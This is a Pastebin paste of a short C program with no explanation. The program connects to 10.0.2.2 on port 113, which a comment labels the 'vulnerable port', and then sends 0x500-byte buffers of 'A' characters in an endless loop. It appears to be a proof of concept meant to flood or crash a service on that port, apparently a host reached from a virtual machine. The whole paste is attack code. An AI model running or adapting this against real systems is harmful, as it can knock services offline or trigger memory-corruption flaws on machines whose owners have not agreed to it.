Advertisement
Guest User

Untitled

a guest
May 24th, 2019
83
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.61 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <unistd.h>
  3. #include <stdlib.h>
  4. #include <string.h>
  5. #include <netdb.h>
  6. #include <arpa/inet.h>
  7. #include <sys/socket.h>
  8.  
  9. int main() {
  10. int s, ret;
  11. struct sockaddr_in ip_addr;
  12. char buf[0x500];
  13.  
  14. s = socket(AF_INET, SOCK_STREAM, 0);
  15. ip_addr.sin_family = AF_INET;
  16. ip_addr.sin_addr.s_addr = inet_addr("10.0.2.2"); // host IP
  17. ip_addr.sin_port = htons(113); // vulnerable port
  18. ret = connect(s, (struct sockaddr *)&ip_addr, sizeof(struct sockaddr_in));
  19. memset(buf, 'A', 0x500);
  20. while(1) {
  21. write(s, buf, 0x500);
  22. }
  23. return 0;
  24. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement